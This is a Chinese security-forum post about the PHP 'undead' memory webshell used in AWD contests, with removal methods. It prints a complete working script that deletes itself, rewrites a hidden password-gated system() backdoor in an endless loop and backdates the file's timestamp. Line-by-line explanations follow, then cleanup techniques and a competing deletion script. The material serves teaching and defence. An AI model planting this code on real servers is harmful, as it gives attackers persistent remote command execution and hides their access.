安全矩阵

 找回密码
 立即注册
搜索
查看: 1004|回复: 0

PHP内存性木马即PHP不死鸟

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-9-24 13:54:45 | 显示全部楼层 |阅读模式
PHP内存性木马即PHP不死鸟
PHP内存性木马是一种比较隐蔽的恶意代码,它的特点是能够在服务器上保持持续运行,而且通常会创建隐蔽的后门,以便攻击者随时可以访问受感染的服务器。这种木马在AWD(Attack-Defense War)和Web安全竞赛中经常被用来测试和挑战安全性。

以下是一个简单的示例

示例:

  1. <?php
  2.   ignore_user_abort(true);
  3.   set_time_limit(0);
  4.   unlink(__FILE__);
  5.   $file = '/var/www/dvwa/.ski12.php';
  6.   $code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
  7.   while (1) {
  8.     file_put_contents($file, $code);
  9.     system('touch -m -d "2023-9-16 09:10:12" .ski12.php');
  10.     usleep(5000);
  11.   }
  12. ?>
复制代码



    ignore_user_abort(true); - 这一行代码告诉服务器在客户端断开连接后继续执行脚本。这是为了确保木马脚本可以继续在后台运行,即使用户关闭了浏览器或断开了连接。

    set_time_limit(0); - 这一行代码将PHP脚本的执行时间限制设置为无限制,确保脚本不会因为执行时间过长而中断。

    unlink(__FILE__); - 这一行代码删除了当前运行的PHP脚本文件,使其在删除后不容易被发现。这是木马的一部分,以防止被发现。

    $file = '/var/www/dvwa/.ski12.php'; - 这一行代码指定了木马脚本将要写入的文件路径,这里是.ski12.php文件。

    $code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>'; - 这是木马脚本的主要部分,它包含了一个基于POST请求的密码验证,如果提供的密码正确,就允许执行系统命令。这是后门的一部分,允许攻击者远程控制服务器。

    while (1) { ... } - 这是一个无限循环,它会不断将上述的木马代码写入指定的文件,并且使用system命令修改文件的修改时间,以隐藏木马的存在。

    file_put_contents($file, $code); - 这一行代码将木马代码写入指定的文件中。

    system('touch -m -d "2023-9-16 09:10:12" .ski12.php'); - 这一行代码使用system命令修改文件的修改时间,以隐藏木马的存在。

    usleep(5000); - 这一行代码让程序暂停5000微秒(即0.005秒),以便下一次循环。



查杀方法

    重启服务:重启服务器上受感染的服务是一种有效的方法,因为它会终止所有正在运行的进程,包括木马程序。但这并不总是可行,因为可能会中断正常的服务并影响其他用户。

    终止www-data用户的子进程:这个命令会查找所有属于www-data用户的子进程,并强制终止它们。www-data用户通常用于运行Web服务器(如Apache或Nginx),而攻击者可能会尝试利用这个用户来运行木马。终止这些进程可以停止木马的执行。

ps aux | grep www-data | awk '{print $2}' | xargs kill -9

这个命令会强制终止进程,

这个命令是用来查找并终止与www-data用户相关的进程。具体来说,它的作用是:

    ps aux:列出当前运行的所有进程。

    grep www-data:筛选出包含"www-data"的进程。

    awk '{print $2}':提取这些进程的第二列,也就是进程ID。

    xargs kill -9:将这些进程ID作为参数传递给kill -9命令,强制终止这些进程。

需要注意的是,使用kill -9命令会强制终止进程,

3.创建同名目录:这个方法利用木马的自我保护机制。木马通常会检测是否存在与其文件名相同的目录,如果存在,则不会执行。因此,创建一个同名目录可以防止木马再次执行。

4.编写竞争写入脚本:这是一种更高级的方法,它尝试不断写入和删除不死马文件,以阻止木马的正常执行。需要确保竞争写入脚本的usleep()时间小于不死马的usleep()时间,以确保它能够成功干扰木马


持续地终止不死马进程并删除不死马文件

  1. <?php
  2. // 创建一个数组,用于存储所有已知的不死马文件路径
  3. $malwareFiles = array(
  4.     "不死马的文件路径1",
  5.     "不死马的文件路径2",
  6.     // 添加更多的不死马文件路径
  7. );

  8. // 进入一个无限循环,用于持续清除不死马
  9. while (true) {
  10.     // 终止不死马进程
  11.     // 使用 shell_exec 命令执行系统命令来获取不死马进程的PID
  12.     // 并使用 kill -9 命令强制终止进程
  13.     $processes = shell_exec("ps aux | grep 不死马的进程名 | grep -v grep | awk '{print $2}'");

  14.     // 将获取的PID字符串按行分割成数组
  15.     $processes = explode("\n", trim($processes));

  16.     // 遍历PID数组并逐个终止不死马进程
  17.     foreach ($processes as $pid) {
  18.         if (!empty($pid)) {
  19.             shell_exec("kill -9 $pid");
  20.         }
  21.     }

  22.     // 删除不死马文件
  23.     // 遍历存储不死马文件路径的数组
  24.     foreach ($malwareFiles as $file) {
  25.         // 检查文件是否存在
  26.         if (file_exists($file)) {
  27.             // 如果文件存在,则使用 unlink 函数删除文件
  28.             unlink($file);
  29.         }
  30.     }

  31.     // 暂停脚本执行,以避免过多系统资源占用
  32.     usleep(1000); // 暂停1000微秒,即0.001秒,然后再继续下一次循环
  33. }
  34. ?>
复制代码


    $malwareFiles数组:这个数组用于存储所有已知的不死马文件路径。你需要将实际不死马文件的路径添加到这个数组中,确保代码可以找到并删除这些文件。

    while (true) 循环:这是一个无限循环,用于持续执行清除不死马的操作。

    终止不死马进程:使用 shell_exec 命令来执行系统命令,获取不死马进程的PID。grep 命令用于筛选出包含不死马进程名的行,grep -v grep 用于排除 grep 命令本身的匹配结果。然后使用 awk 命令提取PID。继而,foreach 循环遍历所有PID,使用 kill -9 命令强制终止不死马进程。

    删除不死马文件:通过遍历 $malwareFiles 数组,检查每个文件是否存在(使用 file_exists 函数),如果文件存在,则使用 unlink 函数删除文件。

    usleep(1000):这一行代码暂停脚本的执行,以避免过多系统资源占用。它会在每次循环之后暂停1000微秒(即0.001秒),然后再继续下一次循环。

这段代码的目标是持续地终止不死马进程并删除不死马文件,以确保不死马无法再次运行。请确保将示例代码中的 "不死马的文件路径1" 和 "不死马的文件路径2" 替换为实际不死马文件的路径。

工具:
WebShell检测引擎   https://scanner.baidu.com/#/pages/intro


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:31 , Processed in 0.014593 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表